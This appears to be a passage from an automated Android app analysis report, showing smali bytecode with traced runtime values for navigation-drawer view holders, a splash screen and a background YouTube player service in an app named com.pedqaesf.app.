2invoke-direct {p0, p1}, Landroid/support/v7/widget/RecyclerView$u;-><init>(Landroid/view/View;)V
3iput-object p1, p0, Lcom/mikepenz/materialdrawer/d/e;->n:Landroid/view/View;
4sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_icon:I
6invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64452
    • This:
      • android.widget.LinearLayout{34356201 V.E..... ......I. 0,0-0,0}
    • p0: 2131689662
    • Return:
      • android.support.v7.widget.AppCompatImageView{2157e2e7 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
  • Time: 64484
    • This:
      • android.widget.LinearLayout{320f82fb V.E..... ......I. 0,0-0,0}
    • p0: 2131689662
    • Return:
      • android.support.v7.widget.AppCompatImageView{9d9cd71 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
  • Time: 64513
    • This:
      • android.widget.LinearLayout{ef0930 V.E..... ......I. 0,0-0,0}
    • p0: 2131689662
    • Return:
      • android.support.v7.widget.AppCompatImageView{31cdbb2e V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
  • Time: 64570
    • This:
      • android.widget.LinearLayout{3db686f4 V.E..... ......I. 0,0-0,0}
    • p0: 2131689662
    • Return:
      • android.support.v7.widget.AppCompatImageView{3f503892 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
  • Time: 64593
    • This:
      • android.widget.LinearLayout{35865978 V.E..... ......I. 0,0-0,0}
    • p0: 2131689662
    • Return:
      • android.support.v7.widget.AppCompatImageView{27b8f8b6 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
7move-result-object v0
8check-cast v0, Landroid/widget/ImageView;
9iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/e;->o:Landroid/widget/ImageView;
10sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_name:I
12invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64454
    • This:
      • android.widget.LinearLayout{34356201 V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{3951d3d V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
  • Time: 64485
    • This:
      • android.widget.LinearLayout{320f82fb V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{74953d7 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
  • Time: 64526
    • This:
      • android.widget.LinearLayout{ef0930 V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{12f3885c V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
  • Time: 64571
    • This:
      • android.widget.LinearLayout{3db686f4 V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{3e2f1e60 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
  • Time: 64606
    • This:
      • android.widget.LinearLayout{35865978 V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{33839524 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
13move-result-object v0
14check-cast v0, Landroid/widget/TextView;
15iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/e;->p:Landroid/widget/TextView;
16sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_description:I
18invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64459
    • This:
      • android.widget.LinearLayout{34356201 V.E..... ......I. 0,0-0,0}
    • p0: 2131689664
    • Return:
      • android.support.v7.widget.AppCompatTextView{3a35c683 V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
  • Time: 64487
    • This:
      • android.widget.LinearLayout{320f82fb V.E..... ......I. 0,0-0,0}
    • p0: 2131689664
    • Return:
      • android.support.v7.widget.AppCompatTextView{296ccfad V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
  • Time: 64534
    • This:
      • android.widget.LinearLayout{ef0930 V.E..... ......I. 0,0-0,0}
    • p0: 2131689664
    • Return:
      • android.support.v7.widget.AppCompatTextView{1bfe5c3a V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
  • Time: 64573
    • This:
      • android.widget.LinearLayout{3db686f4 V.E..... ......I. 0,0-0,0}
    • p0: 2131689664
    • Return:
      • android.support.v7.widget.AppCompatTextView{26354bde V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
  • Time: 64622
    • This:
      • android.widget.LinearLayout{35865978 V.E..... ......I. 0,0-0,0}
    • p0: 2131689664
    • Return:
      • android.support.v7.widget.AppCompatTextView{553ea42 V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
19move-result-object v0
20check-cast v0, Landroid/widget/TextView;
21iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/e;->q:Landroid/widget/TextView;
22return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$u.<init>
  • android.widget.LinearLayout.findViewById
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1}, Landroid/support/v7/widget/RecyclerView$u;-><init>(Landroid/view/View;)V
3iput-object p1, p0, Lcom/mikepenz/materialdrawer/d/j$a;->n:Landroid/view/View;
4sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_divider:I
6invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64651
    • This:
      • android.widget.LinearLayout{3ee5c45 V.E..... ......I. 0,0-0,0}
    • p0: 2131689661
    • Return:
      • android.view.View{1cb70cb V.ED.... ......I. 0,0-0,0 #7f0f00bd app:id/material_drawer_divider}
7move-result-object v0
8iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/j$a;->o:Landroid/view/View;
9sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_name:I
11invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64654
    • This:
      • android.widget.LinearLayout{3ee5c45 V.E..... ......I. 0,0-0,0}
    • p0: 2131689663
    • Return:
      • android.support.v7.widget.AppCompatTextView{289d77c1 V.ED.... ......I. 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
12move-result-object v0
13check-cast v0, Landroid/widget/TextView;
14iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/j$a;->p:Landroid/widget/TextView;
15return-void
Cross References
APIs
  • com.mikepenz.materialdrawer.d.e.<init>
  • android.widget.LinearLayout.findViewById
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1}, Lcom/mikepenz/materialdrawer/d/e;-><init>(Landroid/view/View;)V
3sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_badge_container:I
5invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64460
    • This:
      • android.widget.LinearLayout{34356201 V.E..... ......I. 0,0-0,0}
    • p0: 2131689667
    • Return:
      • android.widget.LinearLayout{323b5039 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
  • Time: 64540
    • This:
      • android.widget.LinearLayout{ef0930 V.E..... ......I. 0,0-0,0}
    • p0: 2131689667
    • Return:
      • android.widget.LinearLayout{235ece48 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
  • Time: 64574
    • This:
      • android.widget.LinearLayout{3db686f4 V.E..... ......I. 0,0-0,0}
    • p0: 2131689667
    • Return:
      • android.widget.LinearLayout{dd7c08c V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
  • Time: 64623
    • This:
      • android.widget.LinearLayout{35865978 V.E..... ......I. 0,0-0,0}
    • p0: 2131689667
    • Return:
      • android.widget.LinearLayout{3ff6df90 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
6move-result-object v0
7iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/a$a;->r:Landroid/view/View;
8sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_badge:I
10invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64463
    • This:
      • android.widget.LinearLayout{34356201 V.E..... ......I. 0,0-0,0}
    • p0: 2131689668
    • Return:
      • android.support.v7.widget.AppCompatTextView{128447df V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
  • Time: 64542
    • This:
      • android.widget.LinearLayout{ef0930 V.E..... ......I. 0,0-0,0}
    • p0: 2131689668
    • Return:
      • android.support.v7.widget.AppCompatTextView{37660206 V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
  • Time: 64576
    • This:
      • android.widget.LinearLayout{3db686f4 V.E..... ......I. 0,0-0,0}
    • p0: 2131689668
    • Return:
      • android.support.v7.widget.AppCompatTextView{3bc647ea V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
  • Time: 64626
    • This:
      • android.widget.LinearLayout{35865978 V.E..... ......I. 0,0-0,0}
    • p0: 2131689668
    • Return:
      • android.support.v7.widget.AppCompatTextView{2bba688e V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
11move-result-object v0
12check-cast v0, Landroid/widget/TextView;
13iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/a$a;->s:Landroid/widget/TextView;
14return-void
APIs
  • android.support.v7.app.AppCompatActivity.onCreate
  • android.support.v7.widget.FitWindowsLinearLayout.findViewById
  • com.pedqaesf.app.INSSplashActivity.i
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
3const v0, 0x7f040065
5invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSplashActivity;->setContentView(I)V
  • Time: 62757
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 2131689570
    • Return:
      • null
  • Time: 62773
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 2131689472
    • Return:
      • android.support.v7.widget.ContentFrameLayout{21e623bb V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
  • Time: 62775
    • This:
      • com.android.internal.policy.impl.PhoneWindow@2b8260d8
    • p0: android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
  • Time: 62792
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 16908290
    • Return:
      • android.support.v7.widget.ContentFrameLayout{21e623bb V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
7invoke-virtual {p0}, Lcom/pedqaesf/app/INSSplashActivity;->i()V
8return-void
APIs
  • android.content.Context.getText
Strings
  • Close
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/materialdrawer/d$3;->c:Lcom/mikepenz/materialdrawer/d;
4iget-object v0, v0, Lcom/mikepenz/materialdrawer/d;->ah:Lcom/mikepenz/materialdrawer/c$c;
5if-eqz v0, :cond_d
7iget-object v0, p0, Lcom/mikepenz/materialdrawer/d$3;->c:Lcom/mikepenz/materialdrawer/d;
9iget-object v0, v0, Lcom/mikepenz/materialdrawer/d;->ah:Lcom/mikepenz/materialdrawer/c$c;
11invoke-interface {v0, p1}, Lcom/mikepenz/materialdrawer/c$c;->a(Landroid/view/View;)V
12cond_d:
13invoke-super {p0, p1}, Landroid/support/v7/app/a;->a(Landroid/view/View;)V
  • Time: 72129
    • This:
      • android.view.ContextThemeWrapper@2c96d562
    • resId: 2131230741
    • Return:
      • Close
14return-void
APIs
  • android.content.Context.getText
Strings
  • Open
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/materialdrawer/d$3;->c:Lcom/mikepenz/materialdrawer/d;
4iget-object v0, v0, Lcom/mikepenz/materialdrawer/d;->ah:Lcom/mikepenz/materialdrawer/c$c;
5if-eqz v0, :cond_d
7iget-object v0, p0, Lcom/mikepenz/materialdrawer/d$3;->c:Lcom/mikepenz/materialdrawer/d;
9iget-object v0, v0, Lcom/mikepenz/materialdrawer/d;->ah:Lcom/mikepenz/materialdrawer/c$c;
11invoke-interface {v0, p1}, Lcom/mikepenz/materialdrawer/c$c;->b(Landroid/view/View;)V
12cond_d:
13invoke-super {p0, p1}, Landroid/support/v7/app/a;->b(Landroid/view/View;)V
  • Time: 84638
    • This:
      • android.view.ContextThemeWrapper@2c96d562
    • resId: 2131230742
    • Return:
      • Open
14return-void
APIs
  • com.mikepenz.materialdrawer.d.h.e
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->e()Z
  • Time: 64468
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • true
3move-result v0
4if-eqz v0, :cond_13
6invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->o()Lcom/mikepenz/materialdrawer/a/b;
7move-result-object v0
8sget v1, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_primary_text:I
9sget v2, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_primary_text:I
11invoke-static {v0, p1, v1, v2}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;II)I
12move-result v0
13goto_12: return v0
14cond_13:
15invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->q()Lcom/mikepenz/materialdrawer/a/b;
16move-result-object v0
17sget v1, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_hint_text:I
18sget v2, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_hint_text:I
20invoke-static {v0, p1, v1, v2}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;II)I
21move-result v0
22goto/16 :goto_12
APIs
  • com.mikepenz.materialdrawer.d.h.e
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->e()Z
  • Time: 64469
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • true
3move-result v0
4if-eqz v0, :cond_13
6invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->x()Lcom/mikepenz/materialdrawer/a/b;
7move-result-object v0
8sget v1, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_primary_icon:I
9sget v2, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_primary_icon:I
11invoke-static {v0, p1, v1, v2}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;II)I
12move-result v0
13goto_12: return v0
14cond_13:
15invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/d;->v()Lcom/mikepenz/materialdrawer/a/b;
16move-result-object v0
17sget v1, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_hint_icon:I
18sget v2, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_hint_icon:I
20invoke-static {v0, p1, v1, v2}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;II)I
21move-result v0
22goto/16 :goto_12

373 Non-Executed Methods

Cross References
APIs
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • com.pedqaesf.app.player.INSYouTubePlayerService.getPackageName
  • android.widget.RemoteViews.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.getPackageName
  • android.widget.RemoteViews.<init>
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.getSystemService
  • android.support.v4.app.ac$d.<init>
  • android.support.v4.app.ac$d.a
  • android.support.v4.app.ac$d.b
  • android.support.v4.app.ac$d.a
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.content.Intent.setAction
  • android.app.PendingIntent.getService
  • android.widget.RemoteViews.setOnClickPendingIntent
  • com.pedqaesf.app.player.INSYouTubePlayerService.startForeground
  • com.pedqaesf.app.player.INSYouTubePlayerService.getSystemService
  • com.pedqaesf.app.player.INSYouTubePlayerService.h
  • com.pedqaesf.app.player.INSYouTubePlayerService.getSystemService
  • android.view.LayoutInflater.inflate
  • android.widget.LinearLayout.findViewById
  • android.widget.ImageView.setVisibility
  • android.view.WindowManager.addView
  • android.view.LayoutInflater.inflate
  • android.widget.LinearLayout.findViewById
  • android.widget.RelativeLayout.addView
  • android.widget.RelativeLayout.getLayoutParams
  • java.util.HashMap.<init>
  • java.util.Map.put
  • android.util.Log.d
  • android.view.WindowManager.addView
  • android.widget.LinearLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.addOnGlobalLayoutListener
  • android.widget.LinearLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.addOnGlobalLayoutListener
  • android.widget.LinearLayout.findViewById
  • com.pedqaesf.app.player.INSYouTubePlayerService.g
  • android.widget.ImageView.setOnClickListener
  • android.view.LayoutInflater.inflate
  • android.widget.LinearLayout.setVisibility
  • android.view.WindowManager.addView
  • android.view.LayoutInflater.inflate
  • android.widget.LinearLayout.setVisibility
  • android.view.WindowManager.addView
  • android.widget.LinearLayout.findViewById
  • android.widget.RelativeLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.addOnGlobalLayoutListener
  • android.widget.LinearLayout.findViewById
  • android.widget.ImageView.setOnClickListener
  • com.pedqaesf.app.player.INSYouTubePlayerService.getSystemService
  • android.view.WindowManager.getDefaultDisplay
  • android.graphics.Point.<init>
  • android.view.Display.getSize
  • android.widget.ImageView.setOnTouchListener
  • android.util.Log.d
Strings
  • VID_ID
  • PLAYLIST_ID
  • notification
  • com.pedqaesf.app.ytube.action.stopplayingweb
  • com.pedqaesf.app.ytube.action.play
  • com.pedqaesf.app.ytube.action.next
  • com.pedqaesf.app.ytube.action.prev
  • window
  • layout_inflater
  • Referer
  • http://www.youtube.com
  • Starting
  • Playlist!!!
  • https://www.youtube.com/player_api
  • text/html
  • Single Video!!!
Position Instruction Meta Information
0.prologue
1const/16 v10, 0x33
2const/16 v9, 0x8
3const/4 v8, 0x1
4const/4 v4, 0x0
5const/4 v7, 0x0
7invoke-virtual {p1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
8move-result-object v0
9if-eqz v0, :cond_1d
11const-string v1, "VID_ID"
13invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: VID_ID
14move-result-object v1
15sput-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
17const-string v1, "PLAYLIST_ID"
19invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: PLAYLIST_ID
20move-result-object v0
21sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->A:Ljava/lang/String;
22cond_1d: new-instance v0, Landroid/widget/RemoteViews;
24invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getPackageName()Ljava/lang/String;
25move-result-object v1
26const v2, 0x7f04004d
28invoke-direct {v0, v1, v2}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p1: 2130968653
29sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
30new-instance v0, Landroid/widget/RemoteViews;
32invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getPackageName()Ljava/lang/String;
33move-result-object v1
34const v2, 0x7f040050
36invoke-direct {v0, v1, v2}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p1: 2130968656
37sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
38new-instance v1, Landroid/content/Intent;
39const-class v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
41invoke-direct {v1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
43const-string v0, "notification"
45invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: notification
46move-result-object v0
47check-cast v0, Landroid/app/NotificationManager;
48sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
49new-instance v0, Landroid/support/v4/app/ac$d;
51invoke-direct {v0, p0}, Landroid/support/v4/app/ac$d;-><init>(Landroid/content/Context;)V
52const v2, 0x7f020075
54invoke-virtual {v0, v2}, Landroid/support/v4/app/ac$d;->a(I)Landroid/support/v4/app/ac$d;
  • Data flow analysis:
    • p0: 2130837621
55move-result-object v0
57invoke-virtual {v0, v8}, Landroid/support/v4/app/ac$d;->b(I)Landroid/support/v4/app/ac$d;
  • Data flow analysis:
    • p0: 1
58move-result-object v0
60sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
62invoke-virtual {v0, v2}, Landroid/support/v4/app/ac$d;->a(Landroid/widget/RemoteViews;)Landroid/support/v4/app/ac$d;
63move-result-object v0
65invoke-virtual {v0, v7}, Landroid/support/v4/app/ac$d;->a(Z)Landroid/support/v4/app/ac$d;
  • Data flow analysis:
    • p0: 0
66move-result-object v0
68invoke-virtual {v0}, Landroid/support/v4/app/ac$d;->a()Landroid/app/Notification;
69move-result-object v0
70sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
71sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
72const/16 v2, 0x10
73if-lt v0, v2, :cond_76
75sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
77sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
78iput-object v2, v0, Landroid/app/Notification;->bigContentView:Landroid/widget/RemoteViews;
79cond_76:
80sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
82invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;)V
84sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
85const v2, 0x7f0f00d0
87invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
88move-result-object v3
90const-string v5, "com.pedqaesf.app.ytube.action.stopplayingweb"
92invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.stopplayingweb
93move-result-object v5
95invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
96move-result-object v3
98invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689680
100sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
101const v2, 0x7f0f00d0
103invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
104move-result-object v3
106const-string v5, "com.pedqaesf.app.ytube.action.stopplayingweb"
108invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.stopplayingweb
109move-result-object v5
111invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
112move-result-object v3
114invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689680
116sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
117const v2, 0x7f0f00d3
119invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
120move-result-object v3
122const-string v5, "com.pedqaesf.app.ytube.action.play"
124invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.play
125move-result-object v5
127invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
128move-result-object v3
130invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689683
132sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
133const v2, 0x7f0f00d3
135invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
136move-result-object v3
138const-string v5, "com.pedqaesf.app.ytube.action.play"
140invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.play
141move-result-object v5
143invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
144move-result-object v3
146invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689683
148sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
149const v2, 0x7f0f00d4
151invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
152move-result-object v3
154const-string v5, "com.pedqaesf.app.ytube.action.next"
156invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.next
157move-result-object v5
159invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
160move-result-object v3
162invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689684
164sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
165const v2, 0x7f0f00d4
167invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
168move-result-object v3
170const-string v5, "com.pedqaesf.app.ytube.action.next"
172invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.next
173move-result-object v5
175invoke-static {v3, v7, v5, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
176move-result-object v3
178invoke-virtual {v0, v2, v3}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689684
180sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
181const v2, 0x7f0f00d2
